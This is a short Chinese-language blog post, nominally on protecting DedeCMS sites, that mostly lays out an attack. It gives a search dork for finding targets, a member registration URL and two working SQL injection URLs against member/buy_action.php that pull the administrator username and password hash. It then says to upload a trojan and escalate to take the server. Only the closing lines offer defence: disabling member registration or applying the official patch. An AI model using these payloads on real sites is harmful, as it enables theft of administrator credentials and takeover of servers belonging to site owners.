如何防止dedecms被爆管理员密码

近期来dedecms的系统还是比较安全的，但是天下没有最安全的系统，现在公布一个dedecms的漏洞，转载网络不知道是哪位大牛挖掘的。

关键字：inurl:powered by dedecms

 使用入侵步骤如下，注册个用户,注册地址:

你的域名/member/index_do.php?fmdo=user&dopost=regnew

爆管理帐号:

 你的域名/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,userid,4,5%20from%20%23@__admin/*

爆管理员密码

你的域名/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*

 通过手工编写的sql语句提交命令，获取管理员帐号密码，拿下了后台，后面的事情就比较好做了，dedecms后台的权限是非常大的，直接上传木马，提权拿服务器即可。

补丁设置设维护置手法：

本人也不是什么高手，所以给大家说下我自己的防护手法，如果网站是没必要注册会员的，可以把会员功能关闭了，步骤如：系统-系统基本参数-会员设置 是否开启：否 即可。

 如果网站需要注册功能，官方应该发布了补丁，按照官方手法操作，补丁加上之后，直接把提交数据转向订单，无效指令。